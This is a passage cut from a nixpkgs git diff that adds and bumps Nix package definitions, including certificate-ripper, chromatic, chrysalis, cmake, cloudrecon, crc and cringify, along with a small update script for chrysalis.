<id>enforce-plugin-versions</id> ++ <goals> ++ <goal>enforce</goal> ++ </goals> ++ <configuration> ++ <rules> ++ <requirePluginVersions /> ++ </rules> ++ </configuration> ++ </execution> ++ </executions> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-deploy-plugin</artifactId> ++ <version>3.1.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-resources-plugin</artifactId> ++ <version>3.3.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-site-plugin</artifactId> ++ <version>4.0.0-M13</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-install-plugin</artifactId> ++ <version>3.1.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-clean-plugin</artifactId> ++ <version>3.3.2</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-jar-plugin</artifactId> ++ <version>3.3.0</version> ++ </plugin> ++ + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> diff --git a/pkgs/by-name/ce/certificate-ripper/package.nix b/pkgs/by-name/ce/certificate-ripper/package.nix new file mode 100644 index 0000000000000..0b03b395789f0 --- /dev/null +++ b/pkgs/by-name/ce/certificate-ripper/package.nix @@ -0,0 +1,56 @@ +{ lib +, maven +, fetchFromGitHub +, buildGraalvmNativeImage +}: + +let + pname = "certificate-ripper"; + version = "2.2.0"; + + jar = maven.buildMavenPackage { + pname = "${pname}-jar"; + inherit version; + + src = fetchFromGitHub { + owner = "Hakky54"; + repo = "certificate-ripper"; + rev = version; + hash = "sha256-snavZVLY8sHinLnG6k61eSQlR9sb8+k5tRHqu4kzQKM="; + }; + + patches = [ + ./make-deterministic.patch + ./fix-test-temp-dir-path.patch + ]; + + mvnHash = "sha256-ahw9VVlvBPlWChcJzXFna55kxqVeJMmdaLtwWcJ+qSA="; + + installPhase = '' + install -Dm644 target/crip.jar $out + ''; + }; +in +buildGraalvmNativeImage { + inherit pname version; + + src = jar; + + executable = "crip"; + + # Copied from pom.xml + extraNativeImageBuildArgs = [ + "--no-fallback" + "-H:ReflectionConfigurationResources=graalvm_config.json" + "-H:EnableURLProtocols=https" + "-H:EnableURLProtocols=http" + ]; + + meta = { + changelog = "https://github.com/Hakky54/certificate-ripper/releases/tag/${version}"; + description = "A CLI tool to extract server certificates"; + homepage = "https://github.com/Hakky54/certificate-ripper"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ tomasajt ]; + }; +} diff --git a/pkgs/by-name/ch/chromatic/package.nix b/pkgs/by-name/ch/chromatic/package.nix new file mode 100644 index 0000000000000..7eaae78185433 --- /dev/null +++ b/pkgs/by-name/ch/chromatic/package.nix @@ -0,0 +1,69 @@ +{ lib +, stdenv +, fetchFromGitHub +, rustPlatform +, meson +, ninja +, pkg-config +, rustc +, cargo +, wrapGAppsHook4 +, desktop-file-utils +, libxml2 +, libadwaita +, portaudio +, libpulseaudio +}: + +stdenv.mkDerivation rec { + pname = "chromatic"; + version = "0-unstable-2023-08-05"; + + src = fetchFromGitHub { + owner = "nate-xyz"; + repo = "chromatic"; + rev = "ffaeb50dcce74bf3ba1b05f98423cf48f205f55e"; + hash = "sha256-E3v3UoQumBBYDOiXMfCRh5J7bfUCkettHth7SAresCE="; + }; + + cargoDeps = rustPlatform.fetchCargoTarball { + inherit src; + name = "${pname}-${version}"; + hash = "sha256-M3UMeGkLf57/I/9BIkyiMpOvjbKQJrOk+axf05vRoW0="; + }; + + nativeBuildInputs = [ + meson + ninja + pkg-config + rustPlatform.cargoSetupHook + rustc + cargo + wrapGAppsHook4 + desktop-file-utils + libxml2.bin # xmllint + ]; + + buildInputs = [ + libadwaita + portaudio + libpulseaudio + ]; + + meta = with lib; { + description = "Fine-tune your instruments"; + longDescription = '' + Fine-tune your instruments with Chromatic. Chromatic + detects the frequency of audio input, converts it to + a musical note with the correct semitone and octave, + and displays the cents error. Cents are displayed on + an analog gauge to make tuning more visually intuitive. + Requires PulseAudio or PipeWire. + ''; + homepage = "https://github.com/nate-xyz/chromatic"; + license = licenses.gpl3Plus; + mainProgram = "chromatic"; + maintainers = with maintainers; [ aleksana ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/applications/misc/chrysalis/default.nix b/pkgs/by-name/ch/chrysalis/package.nix index 0852e886c54b5..ab4b5b5f3f8f1 100644 --- a/pkgs/applications/misc/chrysalis/default.nix +++ b/pkgs/by-name/ch/chrysalis/package.nix @@ -2,13 +2,13 @@ let pname = "chrysalis"; - version = "0.13.2"; + version = "0.13.3"; name = "${pname}-${version}-binary"; src = fetchurl { url = "https://github.com/keyboardio/${pname}/releases/download/v${version}/${pname}-${version}-x64.AppImage"; hash = - "sha512-WuItdQ/hDxbZZ3zulHI74NUkuYfesV/31rA1gPakCFgX2hpPrmKzwUez2vqt4N5qrGyphrR0bcelUatGZhOn5A=="; + "sha512-F6Y87rgIclj1OA3gVX/gqqp9AvXKQlBXrbqk/26F1KHPF9NzHJgVmeszSo3Nhb6xg4CzWmzkqc8IW2H/Bg57kw=="; }; appimageContents = appimageTools.extract { inherit name src; }; in appimageTools.wrapType2 rec { @@ -38,11 +38,13 @@ in appimageTools.wrapType2 rec { install -Dm444 ${appimageContents}/usr/share/icons/hicolor/256x256/chrysalis.png -t $out/share/pixmaps ''; + passthru.updateScript = ./update.sh; + meta = with lib; { description = "A graphical configurator for Kaleidoscope-powered keyboards"; homepage = "https://github.com/keyboardio/Chrysalis"; license = licenses.gpl3Only; - maintainers = with maintainers; [ aw ]; + maintainers = with maintainers; [ aw eclairevoyant nshalman ]; platforms = [ "x86_64-linux" ]; mainProgram = "chrysalis"; }; diff --git a/pkgs/by-name/ch/chrysalis/update.sh b/pkgs/by-name/ch/chrysalis/update.sh new file mode 100644 index 0000000000000..182d47a9285a5 --- /dev/null +++ b/pkgs/by-name/ch/chrysalis/update.sh @@ -0,0 +1,16 @@ +#! /usr/bin/env nix-shell +#! nix-shell -i bash --pure -p curl cacert jq + +set -euo pipefail + +cd "$(dirname "${BASH_SOURCE[0]}")" +DRV_DIR="$PWD" + +relinfo=$(curl -sL 'https://api.github.com/repos/keyboardio/chrysalis/releases' | jq 'map(select(.prerelease == false)) | max_by(.tag_name)') +newver=$(echo "$relinfo" | jq --raw-output '.tag_name' | sed 's|^v||') +hashurl=$(echo "$relinfo" | jq --raw-output '.assets[] | select(.name == "latest-linux.yml").browser_download_url') +newhash=$(curl -sL "$hashurl" | grep -Po '^sha512: \K.*') + +sed -i package.nix \ + -e "/^ version =/ s|\".*\"|\"$newver\"|" \ + -e "/sha512-/ s|\".*\"|\"sha512-$newhash\"|" \ diff --git a/pkgs/by-name/ci/cimg/package.nix b/pkgs/by-name/ci/cimg/package.nix index baf202967c239..3763fcc90912b 100644 --- a/pkgs/by-name/ci/cimg/package.nix +++ b/pkgs/by-name/ci/cimg/package.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "cimg"; - version = "3.3.3"; + version = "3.3.4"; src = fetchFromGitHub { owner = "GreycLab"; repo = "CImg"; rev = "v.${finalAttrs.version}"; - hash = "sha256-6rgtFBt2GcxuGWd4+/ZZzsJqr3XrnhEzJEPLgOt4G2Q="; + hash = "sha256-qo/k5NpTqu+o2WUEOThozuBJVPMMy8OvIMo2DfJUE8g="; }; outputs = [ "out" "doc" ]; diff --git a/pkgs/tools/networking/clash-meta/default.nix b/pkgs/by-name/cl/clash-meta/package.nix index 2ec32960d7fa5..5ebb461a595bc 100644 --- a/pkgs/tools/networking/clash-meta/default.nix +++ b/pkgs/by-name/cl/clash-meta/package.nix @@ -2,26 +2,26 @@ , fetchFromGitHub , buildGoModule }: + buildGoModule rec { pname = "clash-meta"; - version = "1.16.0"; + version = "1.18.1"; src = fetchFromGitHub { owner = "MetaCubeX"; - repo = "Clash.Meta"; + repo = "mihomo"; rev = "v${version}"; - hash = "sha256-ORyjCYf2OPrSt/juiBk0Gf2Az4XoZipKBWWFXf8nIqE="; + hash = "sha256-ezOkDrpytZQdc+Txe4eUyuWY6oipn9jIrmu7aO8lNlQ="; }; - vendorHash = "sha256-ySCmHLuMTCxBcAYo7YD8zOpUAa90PQmeLLt+uOn40Pk="; + vendorHash = "sha256-tvPR5kAta4MlMTwjfxwVOacRr2nVpfalbN08mfxml64="; - # Do not build testing suit excludedPackages = [ "./test" ]; ldflags = [ "-s" "-w" - "-X github.com/Dreamacro/clash/constant.Version=${version}" + "-X github.com/metacubex/mihomo/constant.Version=${version}" ]; tags = [ @@ -32,12 +32,12 @@ buildGoModule rec { doCheck = false; postInstall = '' - mv $out/bin/clash $out/bin/clash-meta + mv $out/bin/mihomo $out/bin/clash-meta ''; meta = with lib; { - description = "Another Clash Kernel"; - homepage = "https://github.com/MetaCubeX/Clash.Meta"; + description = "A rule-based tunnel in Go. Present named mihomo"; + homepage = "https://github.com/MetaCubeX/mihomo"; license = licenses.gpl3Only; maintainers = with maintainers; [ oluceps ]; mainProgram = "clash-meta"; diff --git a/pkgs/by-name/cl/cld2/package.nix b/pkgs/by-name/cl/cld2/package.nix new file mode 100644 index 0000000000000..bf28b160f2bab --- /dev/null +++ b/pkgs/by-name/cl/cld2/package.nix @@ -0,0 +1,50 @@ +{ lib +, stdenv +, fetchFromGitHub +, cmake +, fetchpatch +}: + +stdenv.mkDerivation { + pname = "cld2"; + version = "unstable-2015-08-21"; + + src = fetchFromGitHub { + owner = "CLD2Owners"; + repo = "cld2"; + rev = "b56fa78a2fe44ac2851bae5bf4f4693a0644da7b"; + hash = "sha256-YhXs45IbriKWKULguZM4DgfV/Fzr73VHxA1pFTXCyv8="; + }; + + patches = [ + (fetchpatch { + name = "add-cmakelists.txt"; + url = "https://github.com/CLD2Owners/cld2/pull/65/commits/9cfac02c2ac7802ab7079560b38a474473c45f51.patch"; + hash = "sha256-uOjmUk8kMFl+wED44ErXoLRyblhgDwFx9K1Wj65Omh8="; + }) + ]; + + nativeBuildInputs = [ cmake ]; + + meta = with lib; { + homepage = "https://github.com/CLD2Owners/cld2"; + description = "Compact Language Detector 2"; + longDescription = '' + CLD2 probabilistically detects over 80 languages in Unicode UTF-8 text, + either plain text or HTML/XML. Legacy encodings must be converted to valid + UTF-8 by the caller. For mixed-language input, CLD2 returns the top three + languages found and their approximate percentages of the total text bytes + (e.g. 80% English and 20% French out of 1000 bytes of text means about 800 + bytes of English and 200 bytes of French). Optionally, it also returns a + vector of text spans with the language of each identified. This may be + useful for applying different spelling-correction dictionaries or + different machine translation requests to each span. The design target is + web pages of at least 200 characters (about two sentences); CLD2 is not + designed to do well on very short text, lists of proper names, part + numbers, etc. + ''; + license = licenses.asl20; + maintainers = with maintainers; [ chvp ]; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/cl/cloudrecon/package.nix b/pkgs/by-name/cl/cloudrecon/package.nix new file mode 100644 index 0000000000000..45b50ffcaed8f --- /dev/null +++ b/pkgs/by-name/cl/cloudrecon/package.nix @@ -0,0 +1,32 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +buildGoModule rec { + pname = "cloudrecon"; + version = "1.0.4"; + + src = fetchFromGitHub { + owner = "g0ldencybersec"; + repo = "CloudRecon"; + rev = "refs/tags/v${version}"; + hash = "sha256-SslHkwoMelvszrQZvNX28EokBgwnPDBbTUBA9jdJPro="; + }; + + vendorHash = "sha256-hLEmRq7Iw0hHEAla0Ehwk1EfmpBv6ddBuYtq12XdhVc="; + + ldflags = [ + "-s" + "-w" + ]; + + meta = with lib; { + description = "Tool to find assets from certificates"; + homepage = "https://github.com/g0ldencybersec/CloudRecon"; + changelog = "https://github.com/g0ldencybersec/CloudRecon/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + mainProgram = "cloudrecon"; + }; +} diff --git a/pkgs/by-name/cm/cmake/005-remove-systemconfiguration-dep.diff b/pkgs/by-name/cm/cmake/005-remove-systemconfiguration-dep.diff index ffd3077d301e6..16bcbbd02fda6 100644 --- a/pkgs/by-name/cm/cmake/005-remove-systemconfiguration-dep.diff +++ b/pkgs/by-name/cm/cmake/005-remove-systemconfiguration-dep.diff @@ -1,10 +1,10 @@ -diff -Naur cmake-3.27.7/Utilities/cmcurl/CMakeLists.txt cmake-3.27.7-new/Utilities/cmcurl/CMakeLists.txt ---- cmake-3.27.7/Utilities/cmcurl/CMakeLists.txt 2023-10-06 10:08:35.000000000 -0300 -+++ cmake-3.27.7-new/Utilities/cmcurl/CMakeLists.txt 2023-10-22 21:51:09.231609901 -0300 -@@ -414,13 +414,6 @@ +diff -Naur cmake-3.28.2/Utilities/cmcurl/CMakeLists.txt cmake-3.28.2-new/Utilities/cmcurl/CMakeLists.txt +--- cmake-3.28.2/Utilities/cmcurl/CMakeLists.txt 2024-01-29 23:01:32.000000000 +0300 ++++ cmake-3.28.2-new/Utilities/cmcurl/CMakeLists.txt 2024-02-16 13:09:40.805479195 +0300 +@@ -470,13 +470,6 @@ if(CMAKE_SYSTEM_NAME STREQUAL "Darwin" AND NOT ENABLE_ARES) - set(use_core_foundation ON) + set(use_core_foundation_and_core_services ON) - - find_library(SYSTEMCONFIGURATION_FRAMEWORK "SystemConfiguration") - if(NOT SYSTEMCONFIGURATION_FRAMEWORK) @@ -15,56 +15,19 @@ diff -Naur cmake-3.27.7/Utilities/cmcurl/CMakeLists.txt cmake-3.27.7-new/Utiliti endif() endif() -diff -Naur cmake-3.27.7/Utilities/cmcurl/lib/curl_setup.h cmake-3.27.7-new/Utilities/cmcurl/lib/curl_setup.h ---- cmake-3.27.7/Utilities/cmcurl/lib/curl_setup.h 2023-10-06 10:08:35.000000000 -0300 -+++ cmake-3.27.7-new/Utilities/cmcurl/lib/curl_setup.h 2023-10-22 21:52:00.214748294 -0300 -@@ -260,11 +260,7 @@ +diff -Naur cmake-3.28.2/Utilities/cmcurl/lib/curl_setup.h cmake-3.28.2-new/Utilities/cmcurl/lib/curl_setup.h +--- cmake-3.28.2/Utilities/cmcurl/lib/curl_setup.h 2024-01-29 23:01:32.000000000 +0300 ++++ cmake-3.28.2-new/Utilities/cmcurl/lib/curl_setup.h 2024-02-16 13:10:38.822445566 +0300 +@@ -255,12 +255,6 @@ * performing this task will result in a synthesized IPv6 address. */ #if defined(__APPLE__) && !defined(USE_ARES) -#include <TargetConditionals.h> - #define USE_RESOLVE_ON_IPS 1 --# if defined(TARGET_OS_OSX) && TARGET_OS_OSX --# define CURL_OSX_CALL_COPYPROXIES 1 +-#define USE_RESOLVE_ON_IPS 1 +-# if TARGET_OS_MAC && !(defined(TARGET_OS_IPHONE) && TARGET_OS_IPHONE) && \ +- defined(ENABLE_IPV6) +-# define CURL_MACOS_CALL_COPYPROXIES 1 -# endif #endif #ifdef USE_LWIPSOCK -diff -Naur cmake-3.27.7/Utilities/cmcurl/lib/hostip.c cmake-3.27.7-new/Utilities/cmcurl/lib/hostip.c ---- cmake-3.27.7/Utilities/cmcurl/lib/hostip.c 2023-10-06 10:08:35.000000000 -0300 -+++ cmake-3.27.7-new/Utilities/cmcurl/lib/hostip.c 2023-10-22 21:53:29.249989934 -0300 -@@ -67,10 +67,6 @@ - #include "curl_memory.h" - #include "memdebug.h" - --#if defined(ENABLE_IPV6) && defined(CURL_OSX_CALL_COPYPROXIES) --#include <SystemConfiguration/SCDynamicStoreCopySpecific.h> --#endif -- - #if defined(CURLRES_SYNCH) && \ - defined(HAVE_ALARM) && \ - defined(SIGALRM) && \ -@@ -743,23 +739,6 @@ - return CURLRESOLV_ERROR; - } - --#if defined(ENABLE_IPV6) && defined(CURL_OSX_CALL_COPYPROXIES) -- { -- /* -- * The automagic conversion from IPv4 literals to IPv6 literals only -- * works if the SCDynamicStoreCopyProxies system function gets called -- * first. As Curl currently doesn't support system-wide HTTP proxies, we -- * therefore don't use any value this function might return. -- * -- * This function is only available on a macOS and is not needed for -- * IPv4-only builds, hence the conditions above. -- */ -- CFDictionaryRef dict = SCDynamicStoreCopyProxies(NULL); -- if(dict) -- CFRelease(dict); -- } --#endif -- - #ifndef USE_RESOLVE_ON_IPS - /* First check if this is an IPv4 address string */ - if(Curl_inet_pton(AF_INET, hostname, &in) > 0) diff --git a/pkgs/by-name/cm/cmake/package.nix b/pkgs/by-name/cm/cmake/package.nix index 42dbacac67b9c..c75d095fdff09 100644 --- a/pkgs/by-name/cm/cmake/package.nix +++ b/pkgs/by-name/cm/cmake/package.nix @@ -32,7 +32,7 @@ }: let - inherit (darwin.apple_sdk.frameworks) SystemConfiguration; + inherit (darwin.apple_sdk.frameworks) CoreServices SystemConfiguration; inherit (libsForQt5) qtbase wrapQtAppsHook; cursesUI = lib.elem "ncurses" uiToolkits; qt5UI = lib.elem "qt5" uiToolkits; @@ -46,11 +46,11 @@ stdenv.mkDerivation (finalAttrs: { + lib.optionalString isMinimalBuild "-minimal" + lib.optionalString cursesUI "-cursesUI" + lib.optionalString qt5UI "-qt5UI"; - version = "3.27.9"; + version = "3.28.2"; src = fetchurl { url = "https://cmake.org/files/v${lib.versions.majorMinor finalAttrs.version}/cmake-${finalAttrs.version}.tar.gz"; - hash = "sha256-YJqbmFcqal6kd/kSz/uXMQntTQpqaz+eI1PSzcBIcI4="; + hash = "sha256-FGb4ctwcIm83PPj7pCMO0hao8Qi9VLR3tczf2eotEko="; }; patches = [ @@ -97,6 +97,7 @@ stdenv.mkDerivation (finalAttrs: { ++ lib.optional useOpenSSL openssl ++ lib.optional cursesUI ncurses ++ lib.optional qt5UI qtbase + ++ lib.optional stdenv.isDarwin CoreServices ++ lib.optional (stdenv.isDarwin && !isMinimalBuild) SystemConfiguration; propagatedBuildInputs = lib.optional stdenv.isDarwin ps; @@ -190,6 +191,7 @@ stdenv.mkDerivation (finalAttrs: { license = lib.licenses.bsd3; maintainers = with lib.maintainers; [ ttuegel lnl7 AndersonTorres ]; platforms = lib.platforms.all; + mainProgram = "cmake"; broken = (qt5UI && stdenv.isDarwin); }; }) diff --git a/pkgs/by-name/cn/cntb/package.nix b/pkgs/by-name/cn/cntb/package.nix index 78e5f16f303c8..98364e8f9a88e 100644 --- a/pkgs/by-name/cn/cntb/package.nix +++ b/pkgs/by-name/cn/cntb/package.nix @@ -3,23 +3,18 @@ , fetchFromGitHub }: buildGoModule rec { pname = "cntb"; - version = "1.4.6"; + version = "1.4.8"; src = fetchFromGitHub { owner = "contabo"; repo = "cntb"; - rev = "v${version}"; - hash = "sha256-bvWNcEUSSHEk8fwwPdowATGEHIAj+TN8Z+A156sPVtA="; - # docs contains two files with the same name but different cases, - # this leads to a different hash on case insensitive filesystems (e.g. darwin) - postFetch = '' - rm -rf $out/openapi/docs - ''; + rev = version; + hash = "sha256-Cj1PO82JeztThFAHR4/8UyqKrodgxBqVDMDsun3iGDo="; }; subPackages = [ "." ]; - vendorHash = "sha256-++y2C3jYuGZ0ovRFoxeqnx7S9EwoOZBJ5zxeLGWjkqc="; + vendorHash = "sha256-4PhLUUtlnRh2dKkeVD7rZDDVP0eTDVAohvLLftQxQyE="; meta = with lib; { description = "CLI tool for managing your products from Contabo like VPS and VDS"; diff --git a/pkgs/by-name/co/cockpit/package.nix b/pkgs/by-name/co/cockpit/package.nix index 4e979fa2cdad4..b5cee2033ddd5 100644 --- a/pkgs/by-name/co/cockpit/package.nix +++ b/pkgs/by-name/co/cockpit/package.nix @@ -44,13 +44,13 @@ in stdenv.mkDerivation rec { pname = "cockpit"; - version = "310.2"; + version = "311"; src = fetchFromGitHub { owner = "cockpit-project"; repo = "cockpit"; rev = "refs/tags/${version}"; - hash = "sha256-VaH34UT8kXKZbRPTNvL1afeONb3n6vK0UB1UgWeNRWY="; + hash = "sha256-RsOLYvwLu0eNmSZJoCi1dcB2a3JqMbus/gOyL74kCB4="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/co/codeium/package.nix b/pkgs/by-name/co/codeium/package.nix index 3c203fdfc2ff8..c0b8565d146b7 100644 --- a/pkgs/by-name/co/codeium/package.nix +++ b/pkgs/by-name/co/codeium/package.nix @@ -13,10 +13,10 @@ let }.${system} or throwSystem; hash = { - x86_64-linux = "sha256-xAo8XtNXUJXjGu+LMoRj/s0/VFtVwIC6TCc4a1wrzzQ="; - aarch64-linux = "sha256-HOfSb87g6iN5IwmYZ20F91y+a8fbAhTQ+OhHGq7E9ko="; - x86_64-darwin = "sha256-GCP+apn5g/aPZcwHBhKj9Oy90hMpTWRZNLUtOk3yNTc="; - aarch64-darwin = "sha256-EwpO/gOnv/XIxdV1I1dV+i4w5A4avMcv1zPnBLEqoLI="; + x86_64-linux = "sha256-/heSkG7TtDHzNfvXblR6A5y+c12EmuQ8XZGDRqIEvtg="; + aarch64-linux = "sha256-WkpcNwWS0e5NURfHloV4xjIGSRPfP0RRflq98NY16AY="; + x86_64-darwin = "sha256-nXPaangEVRZf/dEt+i0AWOyT66jGIcRaN4ZO3k/VMh4="; + aarch64-darwin = "sha256-hs2lLy9thrp414+oQSf9euwNuU06UggLQ/EuMg/lrc0="; }.${system} or throwSystem; bin = "$out/bin/codeium_language_server"; @@ -24,7 +24,7 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "codeium"; - version = "1.6.34"; + version = "1.8.5"; src = fetchurl { name = "${finalAttrs.pname}-${finalAttrs.version}.gz"; url = "https://github.com/Exafunction/codeium/releases/download/language-server-v${finalAttrs.version}/language_server_${plat}.gz"; diff --git a/pkgs/by-name/co/coffeegrindsize/package.nix b/pkgs/by-name/co/coffeegrindsize/package.nix new file mode 100644 index 0000000000000..ea23de82bbce2 --- /dev/null +++ b/pkgs/by-name/co/coffeegrindsize/package.nix @@ -0,0 +1,44 @@ +{ lib, python3, fetchFromGitHub }: + +python3.pkgs.buildPythonApplication { + pname = "coffeegrindsize"; + # no tags in the repo + version = "0-unstable-2021-04-20"; + + format = "other"; + + src = fetchFromGitHub { + owner = "jgagneastro"; + repo = "coffeegrindsize"; + rev = "22661ebd21831dba4cf32bfc6ba59fe3d49f879c"; + hash = "sha256-HlTw0nmr+VZL6EUX9RJzj253fnAred9LNFNgVHqoAoI="; + }; + + propagatedBuildInputs = with python3.pkgs; [ + tkinter + matplotlib + numpy + pandas + pillow + ]; + + installPhase = '' + runHook preInstall + + mkdir -p $out/bin + echo "#!/usr/bin/env python" > "$out/bin/coffeegrindsize" + cat coffeegrindsize.py >> "$out/bin/coffeegrindsize" + chmod +x "$out/bin/coffeegrindsize" + patchShebangs "$out/bin/coffeegrindsize" + + runHook postInstall + ''; + + meta = with lib; { + description = "Detects the individual coffee grounds in a white-background picture to determine particle size distribution"; + mainProgram = "coffeegrindsize"; + homepage = "https://github.com/jgagneastro/coffeegrindsize"; + license = licenses.mit; + maintainers = with maintainers; [ t4ccer ]; + }; +} diff --git a/pkgs/by-name/co/composefs/package.nix b/pkgs/by-name/co/composefs/package.nix index eec9ef0de8536..6d0b6b9319b97 100644 --- a/pkgs/by-name/co/composefs/package.nix +++ b/pkgs/by-name/co/composefs/package.nix @@ -16,6 +16,7 @@ , fsverity-utils , nix-update-script , testers +, nixosTests , fuseSupport ? lib.meta.availableOn stdenv.hostPlatform fuse3 , enableValgrindCheck ? false @@ -23,13 +24,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "composefs"; - version = "1.0.2"; + version = "1.0.3"; src = fetchFromGitHub { owner = "containers"; repo = "composefs"; rev = "v${finalAttrs.version}"; - hash = "sha256-ViZkmuLFV5DN1nqWKGl+yaqhYUEOztZ1zGpxjr1U/dw="; + hash = "sha256-YmredtZZKMjzJW/kxiTUmdgO/1iPIKzJsuJz8DeEdGM="; }; strictDeps = true; @@ -69,7 +70,11 @@ stdenv.mkDerivation (finalAttrs: { passthru = { updateScript = nix-update-script { }; - tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; + tests = { + # Broken on aarch64 unrelated to this package: https://github.com/NixOS/nixpkgs/issues/291398 + inherit (nixosTests) activation-etc-overlay-immutable activation-etc-overlay-mutable; + pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; + }; }; meta = { diff --git a/pkgs/by-name/co/construct/package.nix b/pkgs/by-name/co/construct/package.nix new file mode 100644 index 0000000000000..eb2c922b31b44 --- /dev/null +++ b/pkgs/by-name/co/construct/package.nix @@ -0,0 +1,39 @@ +{ stdenv +, lib +, fetchFromGitHub +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "construct"; + version = "0.1.0"; + + src = fetchFromGitHub { + owner = "Thomas-de-Bock"; + repo = "construct"; + rev = finalAttrs.version; + hash = "sha256-ENso0y7yEaXzGXzZOnlZ1L7+j/qayJL+f55/NYLz2ew="; + }; + + postPatch = lib.optionalString stdenv.isDarwin '' + substituteInPlace Makefile \ + --replace g++ c++ + ''; + + makeTarget = "main"; + + installPhase = '' + runHook preInstall + install -Dm755 bin/construct -t $out/bin + runHook postInstall + ''; + + meta = with lib; { + description = "Construct is an abstraction over x86 NASM Assembly"; + longDescription = "Construct adds features such as while loops, if statements, scoped macros and function-call syntax to NASM Assembly."; + homepage = "https://github.com/Thomas-de-Bock/construct"; + maintainers = with maintainers; [ rucadi ]; + platforms = platforms.all; + license = licenses.mit; + mainProgram = "construct"; + }; +}) diff --git a/pkgs/by-name/co/cosmic-icons/package.nix b/pkgs/by-name/co/cosmic-icons/package.nix index fc6b0181e0e4e..b14387ee7a860 100644 --- a/pkgs/by-name/co/cosmic-icons/package.nix +++ b/pkgs/by-name/co/cosmic-icons/package.nix @@ -8,13 +8,13 @@ }: stdenvNoCC.mkDerivation rec { pname = "cosmic-icons"; - version = "unstable-2024-02-07"; + version = "unstable-2024-02-22"; src = fetchFromGitHub { owner = "pop-os"; repo = pname; - rev = "edd405ed84186ee24307deb7da6f25efc85986e9"; - sha256 = "sha256-qz39vI9bRac9ZQg8FPrwv3/TW5zGlsvs2me5aE5vvZo="; + rev = "ee87327736728a9fb5a70c8688e9000f72829343"; + sha256 = "sha256-W4t5uTkiOVGGHZEqD5tGbEPhHbNZp5qnYYHDG8N70vQ="; }; nativeBuildInputs = [ just ]; diff --git a/pkgs/by-name/co/cosmic-session/package.nix b/pkgs/by-name/co/cosmic-session/package.nix index cebd00aff0044..2c84a130bd9c6 100644 --- a/pkgs/by-name/co/cosmic-session/package.nix +++ b/pkgs/by-name/co/cosmic-session/package.nix @@ -51,11 +51,10 @@ rustPlatform.buildRustPackage rec { "--set" "prefix" (placeholder "out") - "--set" - "xdp_cosmic" - xdg-desktop-portal-cosmic ]; + env.XDP_COSMIC = lib.getExe xdg-desktop-portal-cosmic; + passthru.providedSessions = [ "cosmic" ]; meta = with lib; { diff --git a/pkgs/by-name/cr/crc/package.nix b/pkgs/by-name/cr/crc/package.nix index 85af94e57bcda..48364a9d73ba4 100644 --- a/pkgs/by-name/cr/crc/package.nix +++ b/pkgs/by-name/cr/crc/package.nix @@ -7,16 +7,16 @@ }: let - openShiftVersion = "4.14.8"; + openShiftVersion = "4.14.12"; okdVersion = "4.14.0-0.okd-scos-2024-01-10-151818"; - microshiftVersion = "4.14.8"; + microshiftVersion = "4.14.12"; podmanVersion = "4.4.4"; writeKey = "$(MODULEPATH)/pkg/crc/segment.WriteKey=cvpHsNcmGCJqVzf6YxrSnVlwFSAZaYtp"; - gitCommit = "54a6f9a15155edb2bdb70128c7c535fc69841031"; - gitHash = "sha256-tjrlh31J3fDiYm2+PUnVVRIxxQvJKQVLcYEnMekD4Us="; + gitCommit = "c43b172866bc039a2a23d6c88aeb398635dc16ef"; + gitHash = "sha256-DVsXxgywPrrdxfmXh3JR8YpFkv1/Y2LvDZ9/2nVbclc="; in buildGoModule rec { - version = "2.32.0"; + version = "2.33.0"; pname = "crc"; src = fetchFromGitHub { diff --git a/pkgs/tools/text/cringify/default.nix b/pkgs/by-name/cr/cringify/package.nix index 6230f6575c3f6..f9e4bc2f90500 100644 --- a/pkgs/tools/text/cringify/default.nix +++ b/pkgs/by-name/cr/cringify/package.nix @@ -1,29 +1,36 @@ { lib , rustPlatform , fetchFromGitHub +, python3 +, testers +, cringify }: rustPlatform.buildRustPackage rec { pname = "cringify"; - version = "0.1.1"; + version = "0.2.0"; src = fetchFromGitHub { owner = "sansyrox"; repo = "cringify"; - rev = "dd753818f8dd4b343be9370d2c29a6be070ad791"; - hash = "sha256-6hSgOk9DzDfGtZX1vt6AQsKSLdPdqy2Mz3UtK6d2AuA="; + rev = "857c2620ac9f1f53139d3a599e55679a75e77053"; + hash = "sha256-U0tKYFRZToMALSeItn9yia7Dl7omETDTkuRlWJ8EZEo="; }; - cargoHash = "sha256-w6lqPyUCaXZBQ1EmMyj0sVnEHugMD6JugIIK0rEa19Y="; + cargoHash = "sha256-OQXGn6m6VdSlxaCPRonjvEo/GOpsEiZkqL12UdoLu0Q="; postPatch = '' - # Upstream forgot to update the version value - substituteInPlace src/main.rs --replace '0.1.0' ${version} + # Upstream doesn't set the version string itself + substituteInPlace src/main.rs --replace '0.0.1' ${version} ''; + nativeBuildInputs = [ python3 ]; + # No tests are present in the repository doCheck = false; + passthru.tests.version = testers.testVersion { package = cringify; }; + meta = { description = "Annoy your friends with the cringified text"; homepage = "https://github.com/sansyrox/cringify"; diff --git a/pkgs/by-name/cr/crossplane-cli/package.nix b/pkgs/by-name/cr/crossplane-cli/package.nix index ef1d14299b5ba..b2ee0084115f2 100644 --- a/pkgs/by-name/cr/crossplane-cli/package.nix +++ b/pkgs/by-name/cr/crossplane-cli/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "crossplane-cli"; - version = "1.14.5"; + 